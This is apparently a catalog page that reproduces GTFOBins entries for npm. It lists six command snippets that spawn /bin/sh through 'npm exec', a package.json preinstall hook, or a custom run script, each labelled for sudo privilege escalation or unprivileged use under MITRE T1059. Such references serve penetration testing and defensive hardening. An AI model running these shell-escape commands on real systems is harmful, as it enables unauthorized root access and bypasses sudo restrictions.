CatalogGTFOBins

GTFO · Tool

npm

6 techniquesLinuxGTFOBinsGPL-3.0

shell

ExecutionPrivilege EscalationLinux
npm exec /bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux
npm exec /bin/sh
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
npm -C . i
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
npm -C . i
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
npm -C . run xxx
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
npm -C . run xxx
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059